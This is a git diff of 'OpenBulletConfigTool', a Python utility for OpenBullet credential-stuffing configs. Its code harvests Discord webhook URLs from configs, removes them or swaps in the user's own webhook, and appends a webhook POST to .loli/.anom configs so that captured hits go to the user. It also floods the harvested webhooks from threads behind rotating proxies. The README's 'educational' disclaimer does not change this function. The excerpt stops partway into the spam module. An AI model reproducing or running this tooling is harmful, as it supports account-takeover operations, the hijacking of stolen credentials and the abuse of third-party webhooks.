diff --git a/README.md b/README.md
index 6257893..6f6608a 100644
--- a/README.md
+++ b/README.md
@@ -1,28 +1,52 @@
# OpenBulletConfigTool
- This is a simple tool for openbullet configs.
- Usually openbullet configs contains discord webhook requests to send the result to the owner of the config file.
-
-# Installation
-```
-pip3 install -r requirements.txt
-```
-
-# Tool
-![](https://i.ibb.co/vJfP0jk/tool.png)
+ - This is a simple tool for openbullet configs.
+
+# About
+ - Usually an openbullet config includes discord webhook requests to send the result to the owner of the config file.
# Example
![](https://i.ibb.co/nCg7QDP/example.png)
-# Functions
- Check which config files has discord webhook
- Remove duplicated webhooks from the txt file
- Spam discord webhooks
- Remove webhook from configs
- Add your webhook to configs
- Replace webhooks with your webhook
+# Features
+ - Multithreading.
+ - Proxy rotation.
+ - Menu.
+ - Add webhook request to configs.
+ - Duplicate webhook remover.
+ - Duplicate config remover.
+ - Duplicate remover menu.
+ - Get the config which contains the webhook and grabs the url to a txt.
+ - Remove webhook from all the configs.
+ - Replace webhook to yours in the configs.
+ - Spam webhooks grabbed.
+ - Spam webhooks proxy/proxyless mode.
+ - Spam webhooks custom proxy type.
+ - Spam webhooks custom thread number.
+
+# Preview
+![](https://i.ibb.co/w0HCJ8c/Combo-AIO-Cz5-ZIz-G8-HF.png)
+
+# Installation
+ - First method, make sure you have python 3.8.7 or higher.
+ ```
+ pip3 install -r requirements.txt then run the command python main.py
+ ```
+ - Second method, run
+ ```
+ requirements_install.bat
+ ```
+ ```
+ run_script.bat
+ ```
+ - Third method, download the exe version from the releases tab on the right side.
+# Note
+ - If you have any issues or noticed something feel free to report the issue so i can fix it when i will have time.
+
# Legal
- The software designed to perform website security testing.
- The author is not responsible for any illegal use of these programs.
- I am not accountable for anything you get into.
- This is 100% educational, please do not misuse this tool.
\ No newline at end of file
+ - This was merely a speedrun to demonstrate how combo editors work.
+ - The software designed to perform website security testing.
+ - The author is not responsible for any illegal use of these programs.
+ - I am not accountable for anything you get into.
+ - I am not accountable for any of your actions.
+ - This is 100% educational, please do not misuse this tool.
\ No newline at end of file
diff --git a/[AddWebhook]/removeme.txt b/[AddWebhook]/removeme.txt
new file mode 100644
index 0000000..e69de29
diff --git a/[Configs]/removeme.txt b/[Configs]/removeme.txt
new file mode 100644
index 0000000..e69de29
diff --git a/[GetWebhooks]/webhooks.txt b/[GetWebhooks]/webhooks.txt
new file mode 100644
index 0000000..e69de29
diff --git a/[RemoveWebhooks]/removeme.txt b/[RemoveWebhooks]/removeme.txt
new file mode 100644
index 0000000..e69de29
diff --git a/[ReplaceWebhooks]/removeme.txt b/[ReplaceWebhooks]/removeme.txt
new file mode 100644
index 0000000..e69de29
diff --git a/add_webhook.py b/add_webhook.py
new file mode 100644
index 0000000..309761a
--- /dev/null
+++ b/add_webhook.py
@@ -0,0 +1,42 @@
+from helpers import _clear,_setTitle,_printText,_copyFile,colors
+
+class AddWebhook:
+ def __init__(self,configs) -> None:
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [AddWebhook]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ █████╗ ██████╗ ██████╗
+ ██╔══██╗██╔══██╗██╔══██╗
+ ███████║██║ ██║██║ ██║
+ ██╔══██║██║ ██║██║ ██║
+ ██║ ██║██████╔╝██████╔╝
+ ╚═╝ ╚═╝╚═════╝ ╚═════╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ self.configs = configs
+ self.webhook_url = str(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}Webhook URL:{colors["lpurple"]} '))
+ print('')
+
+ #should change the append line function
+ def _addWebhook(self):
+ webhook_content = '''
+
+REQUEST POST "'''+self.webhook_url+'''"
+ CONTENT "{\\"content\\":\\">>> ```:```\\"}"
+ CONTENTTYPE "application/json"
+ HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
+ HEADER "Pragma: no-cache"
+ HEADER "Accept: */*"'''
+
+ for config in self.configs:
+ if config.endswith('.loli') or config.endswith('.anom'):
+ _copyFile(f'[Configs]/{config}',f'[AddWebhook]/{config}')
+ with open(f'[AddWebhook]/{config}','a',encoding='utf8',errors='ignore') as f:
+ f.write(webhook_content)
+ _printText(colors['bcyan'],colors['lpurple'],'ADDED',config)
+
+ def _start(self):
+ self._addWebhook()
\ No newline at end of file
diff --git a/duplicate_remover.py b/duplicate_remover.py
new file mode 100644
index 0000000..9dcf365
--- /dev/null
+++ b/duplicate_remover.py
@@ -0,0 +1,106 @@
+from helpers import _clear,_setTitle,_printText,colors
+from os.path import isfile
+from os import remove
+from hashlib import md5
+
+class DuplicateRemover:
+ def __init__(self,configs,webhooks) -> None:
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ██████╗ ██╗ ██╗██████╗ ██╗ ██╗ ██████╗ █████╗ ████████╗███████╗
+ ██╔══██╗██║ ██║██╔══██╗██║ ██║██╔════╝██╔══██╗╚══██╔══╝██╔════╝
+ ██║ ██║██║ ██║██████╔╝██║ ██║██║ ███████║ ██║ █████╗
+ ██║ ██║██║ ██║██╔═══╝ ██║ ██║██║ ██╔══██║ ██║ ██╔══╝
+ ██████╔╝╚██████╔╝██║ ███████╗██║╚██████╗██║ ██║ ██║ ███████╗
+ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ self.configs = configs
+ self.webhooks = webhooks
+
+ def _menu(self):
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [Menu]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ███╗ ███╗███████╗███╗ ██╗██╗ ██╗
+ ████╗ ████║██╔════╝████╗ ██║██║ ██║
+ ██╔████╔██║█████╗ ██╔██╗ ██║██║ ██║
+ ██║╚██╔╝██║██╔══╝ ██║╚██╗██║██║ ██║
+ ██║ ╚═╝ ██║███████╗██║ ╚████║╚██████╔╝
+ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ options = ['Remove Duplicated Webhooks','Remove Duplicated Configs']
+ counter = 0
+ for option in options:
+ counter+=1
+ _printText(colors['bcyan'],colors['lpurple'],str(counter),option)
+ print('')
+
+ selected = int(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}Select something:{colors["lpurple"]} '))
+
+ if selected == 1:
+ self._duplicateWebhookRemove()
+ elif selected == 2:
+ self._duplicateConfigRemove()
+ else:
+ self._menu()
+
+ def _duplicateWebhookRemove(self):
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [WebhookRemove]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ██╗ ██╗███████╗██████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗
+ ██║ ██║██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔═══██╗██║ ██╔╝
+ ██║ █╗ ██║█████╗ ██████╔╝███████║██║ ██║██║ ██║█████╔╝
+ ██║███╗██║██╔══╝ ██╔══██╗██╔══██║██║ ██║██║ ██║██╔═██╗
+ ╚███╔███╔╝███████╗██████╔╝██║ ██║╚██████╔╝╚██████╔╝██║ ██╗
+ ╚══╝╚══╝ ╚══════╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+ _printText(colors['bcyan'],colors['lpurple'],'BEFORE',str(len(self.webhooks)))
+ cleaned_file = set(self.webhooks)
+ open('[GetWebhooks]/webhooks.txt', 'w',encoding='utf8',errors='ignore').close()
+ for line in cleaned_file:
+ with open(f'[GetWebhooks]/webhooks.txt','a',encoding='utf8') as f:
+ f.write(f'{line}\n')
+
+ _printText(colors['bcyan'],colors['lpurple'],'AFTER',str(len(cleaned_file)))
+ print('')
+ _printText(colors['bcyan'],colors['lpurple'],'FINISHED','Process done!')
+
+ def _duplicateConfigRemove(self):
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [DuplicateRemover] ^| [ConfigRemove]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ██████╗ ██████╗ ███╗ ██╗███████╗██╗ ██████╗
+ ██╔════╝██╔═══██╗████╗ ██║██╔════╝██║██╔════╝
+ ██║ ██║ ██║██╔██╗ ██║█████╗ ██║██║ ███╗
+ ██║ ██║ ██║██║╚██╗██║██╔══╝ ██║██║ ██║
+ ╚██████╗╚██████╔╝██║ ╚████║██║ ██║╚██████╔╝
+ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═╝ ╚═╝ ╚═════╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ unique = []
+ for config in self.configs:
+ if isfile(config):
+ filehash = md5(open(config, 'rb').read()).hexdigest()
+ if filehash not in unique:
+ unique.append(filehash)
+ else:
+ remove(config)
+ _printText(colors['bcyan'],colors['lpurple'],'REMOVED',config)
+ print('')
+ _printText(colors['bcyan'],colors['lpurple'],'FINISHED','Process done!')
\ No newline at end of file
diff --git a/get_webhooks.py b/get_webhooks.py
new file mode 100644
index 0000000..2c4be3a
--- /dev/null
+++ b/get_webhooks.py
@@ -0,0 +1,39 @@
+from helpers import _clear,_setTitle,_printText,_readFile,_copyFile,colors
+
+class GetWebhooks:
+ def __init__(self,configs) -> None:
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [GetWebhooks]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ██████╗ ███████╗████████╗
+ ██╔════╝ ██╔════╝╚══██╔══╝
+ ██║ ███╗█████╗ ██║
+ ██║ ██║██╔══╝ ██║
+ ╚██████╔╝███████╗ ██║
+ ╚═════╝ ╚══════╝ ╚═╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ self.configs = configs
+
+ def _getWebhooks(self):
+ open('[GetWebhooks]/webhooks.txt', 'w',encoding='utf8',errors='ignore').close()
+ for config in self.configs:
+ current_content = _readFile(f'[Configs]/{config}','r',1)
+ try:
+ for line in current_content:
+ if 'https://discordapp.com/api/webhooks/' in line:
+ webhook = 'https://'+line.split('https://')[1].replace('"','').strip()
+ _printText(colors['bcyan'],colors['lpurple'],'FOUND',config)
+ with open(f'[GetWebhooks]/webhooks.txt','a',encoding='utf8',errors='ignore') as f:
+ f.write(f'{webhook}\n')
+ _copyFile(f'[Configs]/{config}',f'[GetWebhooks]/{config}')
+ _printText(colors['bcyan'],colors['lpurple'],'COPIED',config)
+ except Exception:
+ pass
+
+
+ def _start(self):
+ self._getWebhooks()
\ No newline at end of file
diff --git a/helpers.py b/helpers.py
new file mode 100644
index 0000000..119ca56
--- /dev/null
+++ b/helpers.py
@@ -0,0 +1,102 @@
+from os import name,system,stat
+from sys import stdout
+from time import sleep
+from datetime import datetime
+from random import choice
+from shutil import copyfile
+
+colors = {'white': "\033[1;37m", 'green': "\033[0;32m", 'red': "\033[0;31m", 'yellow': "\033[1;33m",'bblue':"\033[1;34;40m",'bcyan':"\033[1;36;40m","lpurple":'\033[1;35m'}
+
+def _clear():
+ """Clears the console on every os."""
+ if name == 'posix':
+ system('clear')
+ elif name in ('ce', 'nt', 'dos'):
+ system('cls')
+ else:
+ print("\n") * 120
+
+def _setTitle(title:str):
+ """Sets the console title on every os."""
+ if name == 'posix':
+ stdout.write(f"\x1b]2;{title}\x07")
+ elif name in ('ce', 'nt', 'dos'):
+ system(f'title {title}')
+ else:
+ stdout.write(f"\x1b]2;{title}\x07")
+
+def _printText(bracket_color,text_in_bracket_color,text_in_bracket,text):
+ """Prints colored formatted text."""
+ stdout.flush()
+ text = text.encode('ascii','replace').decode()
+ stdout.write(bracket_color+'['+text_in_bracket_color+text_in_bracket+bracket_color+'] '+bracket_color+text+'\n')
+
+def _readFile(filename,method,skip):
+ """Read file with empty and file not found check."""
+ try:
+ if stat(filename).st_size != 0:
+ with open(filename,method,encoding='utf8',errors='ignore') as f:
+ content = [line.strip('\n') for line in f]
+ return content
+ else:
+ print('')
+ _printText(colors['red'],colors['white'],'ERROR',f'{filename} is empty!')
+ if skip == 1:
+ pass
+ else:
+ sleep(2)
+ raise SystemExit
+ except FileNotFoundError:
+ print('')
+ _printText(colors['red'],colors['white'],'ERROR','File not found!')
+
+def _getCurrentTime():
+ """Returns the current time formatted."""
+ now = datetime.now()
+ curr_time = now.strftime("%d_%m_%Y_%H")
+ return curr_time
+
+def _copyFile(oldpath,newpath):
+ try:
+ copyfile(oldpath,newpath)
+ except Exception:
+ pass
+
+def _findStringBetween(string,first,last):
+ """Returns the string between 2 strings."""
+ start = string.index( first ) + len( first )
+ end = string.index( last, start )
+ return string[start:end]
+
+def _getRandomUserAgent(path):
+ """Returns a random user agent."""
+ useragents = _readFile(path,'r',0)
+ return choice(useragents)
+
+def _getRandomProxy(use_proxy, proxy_type,path):
+ """Returns random proxy dict with proxy type check."""
+ proxies = {}
+ if use_proxy == 1:
+ proxies_file = _readFile(path, 'r',0)
+ random_proxy = choice(proxies_file)
+ if proxy_type == 1:
+ proxies = {
+ "http": "http://{0}".format(random_proxy),
+ "https": "https://{0}".format(random_proxy)
+ }
+ elif proxy_type == 2:
+ proxies = {
+ "http": "socks4://{0}".format(random_proxy),
+ "https": "socks4://{0}".format(random_proxy)
+ }
+ else:
+ proxies = {
+ "http": "socks5://{0}".format(random_proxy),
+ "https": "socks5://{0}".format(random_proxy)
+ }
+ else:
+ proxies = {
+ "http": None,
+ "https": None
+ }
+ return proxies
\ No newline at end of file
diff --git a/main.py b/main.py
index 843eeb3..b817d76 100644
--- a/main.py
+++ b/main.py
@@ -1,238 +1,5 @@
-import os
-import requests
-import json
-from threading import Thread, Lock, active_count
-from colorama import init,Fore
-from datetime import datetime
-import io
-import sys
-from shutil import copyfile
-from time import sleep
+from menu import Menu
-init(autoreset=True)
-
-def GetWebhooksContentAndCopy():
- configs_list = os.listdir("Configs/")
- #line_num = 0
- webhook_file = open('discord_webhooks.txt','w+')
- webhooks_content = []
- if len(configs_list) > 0:
- for i in range(len(configs_list)):
- with open("Configs/{0}".format(configs_list[i]),encoding="utf8",errors='ignore') as f:
- lines = f.readlines()
-
- for line in lines:
- #line_num += 1
- if line.find('REQUEST POST "https://discordapp.com/api/webhooks/') >= 0:
- PrintHitText("File: {0} WebHook found: {1}".format(configs_list[i],line.rstrip()))
- try:
- copyfile('Configs/{0}'.format(configs_list[i]), 'webhook_configs/{0}'.format(configs_list[i]))
- except FileNotFoundError as e:
- os.mkdir('webhook_configs')
- webhook_file.write(line.split('REQUEST POST ')[-1].replace('"',''))
- else:
- PrintBadText('Folder is empty')
- sleep(2)
-
-def GetWebhooksContent():
- configs_list = os.listdir("webhook_configs/")
- #line_num = 0
- webhook_file = open('discord_webhooks.txt','w+')
- webhooks_content = []
- if len(configs_list) > 0:
- for i in range(len(configs_list)):
- with open("webhook_configs/{0}".format(configs_list[i]),encoding="utf8",errors='ignore') as f:
- lines = f.readlines()
-
- for line in lines:
- #line_num += 1
- if line.find('REQUEST POST "https://discordapp.com/api/webhooks/') >= 0:
- PrintHitText("File: {0} WebHook found: {1}".format(configs_list[i],line.rstrip()))
- webhooks_content.append(line.rstrip())
- else:
- PrintBadText('Folder is empty')
- sleep(2)
-
- return webhooks_content
-
-def ReadWebhooks():
- with open('discord_webhooks.txt','r') as f:
- content = [line.rstrip('\n') for line in f]
- return content
-
-def WebhookSpamMethod(message,webhook):
- message_to_send = {'content':message}
-
- headers = {
- 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko',
- 'Pragma':'no-cache',
- 'Accept':'*/*',
- 'Content-Type':'application/json'
- }
-
- payload = json.dumps(message_to_send)
- response = requests.post(webhook,data=payload,headers=headers)
-
- if response.text == "":
- PrintHitText('Message: {0} sent'.format(message))
- elif "You are being rate limited." in response.text:
- PrintBadText('You are rate limited')
- else:
- PrintBadText('Something went wrong')
-
-def WebhookSpam():
- lock = Lock()
- message = str(input("Your message to spam: "))
- while True:
- for webhook in ReadWebhooks():
- lock.acquire()
- Thread(target=WebhookSpamMethod(message,webhook)).start()
- lock.release()
-
-def AddWebhookToConfigs():
- configs_list = os.listdir("Configs/")
- webhook = str(input("Webhook: "))
- message_to_send = '"{\\"content\\":\\">>> ```:```\\"}"'
- if len(configs_list) > 0:
- for i in range(len(configs_list)):
- with open("Configs/{0}".format(configs_list[i]),encoding="utf8",errors='ignore',mode='a') as f:
- if (configs_list[i].split('.')[-1] == 'loli') or (configs_list[i].split('.')[-1] == 'anom'):
- f.seek(0, io.SEEK_END)
- f.write('\nREQUEST POST "{0}"\n CONTENT {1}\n CONTENTTYPE "application/json"\n HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"\n HEADER "Pragma: no-cache"\n HEADER "Accept: */*" '.format(webhook,message_to_send))
- PrintHitText('File: {0} added Webhook: {1}'.format(configs_list[i],webhook))
- else:
- PrintBadText('Folder is empty')
- sleep(2)
-
-def replaceAll(file,searchExp,replaceExp):
- try:
- if (file.split('.')[-1] == 'loli') or (file.split('.')[-1] == 'anom'):
- with open(file,'r+') as f:
- lines = f.readlines()
- f.seek(0)
- for line in lines:
- if searchExp in line:
-
- line = line.replace(searchExp,replaceExp)
- f.write(line)
- f.truncate()
- except UnicodeDecodeError as e:
- pass
-
-def removeAll(file,searchExp):
- try:
- if (file.split('.')[-1] == 'loli') or (file.split('.')[-1] == 'anom'):
- with open(file, "r+") as f:
- lines = f.readlines()
- f.seek(0)
- for line in lines:
- if searchExp not in line:
- f.write(line)
- f.truncate()
- except UnicodeDecodeError as e:
- pass
-
-
-
-
-def ReplaceWebhook():
- configs_list = os.listdir("webhook_configs/")
- webhooks = GetWebhooksContent()
- #print(webhooks)
- webhook = str(input("Enter your webhook: "))
- if len(configs_list) > 0:
- for i in range(len(configs_list)):
- replaceAll('webhook_configs/{0}'.format(configs_list[i]),webhooks[i],f'REQUEST POST "{webhook}"')
- else:
- PrintBadText('Folder is empty')
- sleep(2)
-
-
-
-def RemoveWebhook():
- configs_list = os.listdir("webhook_configs/")
- webhooks = GetWebhooksContent()
- #print(webhooks)
- if len(configs_list) > 0:
- for i in range(len(configs_list)):
- removeAll('webhook_configs/{0}'.format(configs_list[i]),webhooks[i])
- else:
- PrintBadText('Folder is empty')
- sleep(2)
-
-def RemoveWebhookDuplications():
- list_of_webhooks = list(ReadWebhooks())
- if len(list_of_webhooks) > 0:
- list_size_with_dupes = len(list_of_webhooks)
-
- PrintBadText('Started size: {0}'.format(list_size_with_dupes))
-
- list_of_webhooks = set(list_of_webhooks)
- list_size_without_dupes = len(list_of_webhooks)
-
- webhook_file = open("discord_webhooks.txt","w+")
-
- for line in list_of_webhooks:
- webhook_file.write(line+"\n")
- webhook_file.close()
-
- PrintHitText('End size: {0}'.format(list_size_without_dupes))
- sleep(2)
- else:
- PrintBadText('Folder is empty')
- sleep(2)
-
-
-def clear():
- if os.name == 'posix':
- os.system('clear')
- elif os.name in ('ce', 'nt', 'dos'):
- os.system('cls')
- else:
- print("\n") * 120
-
-def PrintText(text):
- date = datetime.now()
- curr_date = date.strftime("[%H:%M:%S]")
- print('{0} {1}'.format(Fore.GREEN+curr_date,Fore.WHITE+text))
-
-def PrintHitText(text):
- date = datetime.now()
- curr_date = date.strftime("[%H:%M:%S]")
- print('{0} {1}'.format(Fore.GREEN+curr_date,Fore.LIGHTGREEN_EX+text))
-
-def PrintBadText(text):
- date = datetime.now()
- curr_date = date.strftime("[%H:%M:%S]")
- print('{0} {1}'.format(Fore.GREEN+curr_date,Fore.RED+text))
-
-def Menu():
- os.system("title One Man Builds OpenBullet Config Tool")
- clear()
- print(Fore.RESET+'')
- print('[1] Get Discord Webhooks\n[2] Remove Duplicated Webhooks\n[3] Spam Discord Webhooks\n[4] Remove Webhook from configs\n[5] Add Webhook to configs\n[6] Replace Webhooks')
- print('')
- option = int(input('Choose something: '))
- if option == 1:
- GetWebhooksContentAndCopy()
- Menu()
- elif option == 2:
- RemoveWebhookDuplications()
- Menu()
- elif option == 3:
- WebhookSpam()
- elif option == 4:
- RemoveWebhook()
- Menu()
- elif option == 5:
- AddWebhookToConfigs()
- Menu()
- elif option == 6:
- ReplaceWebhook()
- Menu()
- else:
- GetWebhooksContent()
- Menu()
-
-if __name__ == "__main__":
- Menu()
\ No newline at end of file
+if __name__ == '__main__':
+ Menu()._menu()
+
\ No newline at end of file
diff --git a/menu.py b/menu.py
new file mode 100644
index 0000000..0e3a4dd
--- /dev/null
+++ b/menu.py
@@ -0,0 +1,80 @@
+from helpers import _clear,_setTitle,_printText,_readFile,colors
+from add_webhook import AddWebhook
+from duplicate_remover import DuplicateRemover
+from get_webhooks import GetWebhooks
+from remove_webhook import RemoveWebhook
+from replace_webhook import ReplaceWebhook
+from spam_webhooks import SpamWebhooks
+from time import sleep
+from os import listdir
+
+class Menu:
+ def __init__(self) -> None:
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [Menu]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ███╗ ███╗███████╗███╗ ██╗██╗ ██╗
+ ████╗ ████║██╔════╝████╗ ██║██║ ██║
+ ██╔████╔██║█████╗ ██╔██╗ ██║██║ ██║
+ ██║╚██╔╝██║██╔══╝ ██║╚██╗██║██║ ██║
+ ██║ ╚═╝ ██║███████╗██║ ╚████║╚██████╔╝
+ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ def _menu(self):
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [Menu]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ███╗ ███╗███████╗███╗ ██╗██╗ ██╗
+ ████╗ ████║██╔════╝████╗ ██║██║ ██║
+ ██╔████╔██║█████╗ ██╔██╗ ██║██║ ██║
+ ██║╚██╔╝██║██╔══╝ ██║╚██╗██║██║ ██║
+ ██║ ╚═╝ ██║███████╗██║ ╚████║╚██████╔╝
+ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═════╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ self.configs = listdir("[Configs]/")
+ self.webhooks = _readFile('[GetWebhooks]/webhooks.txt','r',1)
+ self.webhook_cfgs = listdir("[GetWebhooks]/")
+
+ options = ['Get Webhooks','Remove Duplicates','Spam Discord Webhooks','Remove Webhooks','Add Webhook','Replace Webhooks']
+ counter = 0
+ for option in options:
+ counter+=1
+ _printText(colors['bcyan'],colors['lpurple'],str(counter),option)
+ print('')
+
+ selected = int(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}Select something:{colors["lpurple"]} '))
+
+ if selected == 1:
+ GetWebhooks(self.configs)._start()
+ sleep(2)
+ self._menu()
+ elif selected == 2:
+ DuplicateRemover(self.configs,self.webhooks)._menu()
+ sleep(2)
+ self._menu()
+ elif selected == 3:
+ SpamWebhooks(self.webhooks)._start()
+ sleep(2)
+ self._menu()
+ elif selected == 4:
+ RemoveWebhook(self.configs,self.webhooks,self.webhook_cfgs)._start()
+ sleep(2)
+ self._menu()
+ elif selected == 5:
+ AddWebhook(self.configs)._start()
+ sleep(2)
+ self._menu()
+ elif selected == 6:
+ ReplaceWebhook(self.configs,self.webhooks,self.webhook_cfgs)._start()
+ sleep(2)
+ self._menu()
+ else:
+ self._menu()
\ No newline at end of file
diff --git a/proxies.txt b/proxies.txt
new file mode 100644
index 0000000..e69de29
diff --git a/remove_webhook.py b/remove_webhook.py
new file mode 100644
index 0000000..122e1da
--- /dev/null
+++ b/remove_webhook.py
@@ -0,0 +1,43 @@
+from helpers import _clear,_setTitle,_printText,_copyFile,colors
+
+class RemoveWebhook:
+ def __init__(self,configs,webhooks,webhook_cfgs) -> None:
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [RemoveWebhook]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ██████╗ ███████╗███╗ ███╗ ██████╗ ██╗ ██╗███████╗
+ ██╔══██╗██╔════╝████╗ ████║██╔═══██╗██║ ██║██╔════╝
+ ██████╔╝█████╗ ██╔████╔██║██║ ██║██║ ██║█████╗
+ ██╔══██╗██╔══╝ ██║╚██╔╝██║██║ ██║╚██╗ ██╔╝██╔══╝
+ ██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ███████╗
+ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ self.configs = configs
+ self.webhooks = webhooks
+ self.webhook_cfgs = webhook_cfgs
+
+ def _remove(self,file,searchExp):
+ if (file.endswith('.loli')) or (file.endswith('.anom')):
+ with open(file, 'r+',encoding='utf8',errors='ignore') as f:
+ lines = f.readlines()
+ f.seek(0)
+ for line in lines:
+ if searchExp not in line:
+ f.write(line)
+ f.truncate()
+
+ def _removeWebhook(self):
+ for i in range(len(self.webhook_cfgs)):
+ if (self.webhook_cfgs[i].endswith('.loli')) or (self.webhook_cfgs[i].endswith('.anom')):
+ _copyFile(f'[GetWebhooks]/{self.webhook_cfgs[i]}',f'[RemoveWebhooks]/{self.webhook_cfgs[i]}')
+ _printText(colors['bcyan'],colors['lpurple'],'COPIED',self.webhook_cfgs[i])
+ for j in range(len(self.webhooks)):
+ self._remove(f'[RemoveWebhooks]/{self.webhook_cfgs[i]}',self.webhooks[j])
+ _printText(colors['bcyan'],colors['lpurple'],'REMOVED',self.webhook_cfgs[i])
+
+ def _start(self):
+ self._removeWebhook()
\ No newline at end of file
diff --git a/replace_webhook.py b/replace_webhook.py
new file mode 100644
index 0000000..49ec118
--- /dev/null
+++ b/replace_webhook.py
@@ -0,0 +1,48 @@
+from helpers import _clear,_setTitle,_printText,_copyFile,colors
+
+class ReplaceWebhook:
+ def __init__(self,configs,webhooks,webhook_cfgs) -> None:
+ _setTitle('[OPENBULLET CONFIG TOOL] ^| [ReplaceWebhooks]')
+ _clear()
+ title = colors['lpurple']+"""
+ ╔═══════════════════════════════════════════════════════════════════════╗
+ ██████╗ ███████╗██████╗ ██╗ █████╗ ██████╗███████╗
+ ██╔══██╗██╔════╝██╔══██╗██║ ██╔══██╗██╔════╝██╔════╝
+ ██████╔╝█████╗ ██████╔╝██║ ███████║██║ █████╗
+ ██╔══██╗██╔══╝ ██╔═══╝ ██║ ██╔══██║██║ ██╔══╝
+ ██║ ██║███████╗██║ ███████╗██║ ██║╚██████╗███████╗
+ ╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝
+ ╚═══════════════════════════════════════════════════════════════════════╝
+ """
+ print(title)
+
+ self.configs = configs
+ self.webhooks = webhooks
+ self.webhook_cfgs = webhook_cfgs
+
+ self.webhook_url = str(input(f'{colors["lpurple"]}[>] {colors["bcyan"]}Webhook URL:{colors["lpurple"]} '))
+ print('')
+
+ def _replace(self,file,searchExp,replaceExp):
+ with open(file,'r+',encoding='utf8',errors='ignore') as f:
+ lines = f.readlines()
+ f.seek(0)
+ for line in lines:
+ if searchExp in line:
+
+ line = line.replace(searchExp,replaceExp)
+ f.write(line)
+ f.truncate()
+
+ def _replaceWebhooks(self):
+ for i in range(len(self.webhook_cfgs)):
+ if (self.webhook_cfgs[i].endswith('.loli')) or (self.webhook_cfgs[i].endswith('.anom')):
+ _copyFile(f'[GetWebhooks]/{self.webhook_cfgs[i]}',f'[ReplaceWebhooks]/{self.webhook_cfgs[i]}')
+ _printText(colors['bcyan'],colors['lpurple'],'COPIED',self.webhook_cfgs[i])
+ for j in range(len(self.webhooks)):
+ self._replace(f'[ReplaceWebhooks]/{self.webhook_cfgs[i]}',self.webhooks[j],self.webhook_url)
+ _printText(colors['bcyan'],colors['lpurple'],'REPLACED',self.webhook_cfgs[i])
+
+ def _start(self):
+ self._replaceWebhooks()
+
\ No newline at end of file
diff --git a/requirements.txt b/requirements.txt
index 11d72f8..4f5b899 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,2 +1 @@
-requests==2.24.0
-colorama==0.4.4
+requests==2.26.0
\ No newline at end of file
diff --git a/requirements_install.bat b/requirements_install.bat
new file mode 100644
index 0000000..6c4409c
--- /dev/null
+++ b/requirements_install.bat
@@ -0,0 +1,6 @@
+@echo off
+title Requirements installer
+cls
+color a
+pip3 install -r requirements.txt
+pause
diff --git a/run_script.bat b/run_script.bat
new file mode 100644
index 0000000..5576201
--- /dev/null
+++ b/run_script.bat
@@ -0,0 +1,5 @@
+@echo off
+cls
+color a
+python main.py
+pause
\ No newline at end of file
diff --git a/spam_webhooks.py b/spam_webhooks.py
new file mode 100644
index 0000000..3319c53
--- /dev/null
+++ b/spam_webhooks.py
@@ -0,0 +1,77 @@
+from helpers import _clear,_setTitle,_printText,_getRandomProxy,colors
+from threading import Thread,active_count
+import requests
+
+class SpamWebhooks:
+ def __init__(self,webhooks) -> None:
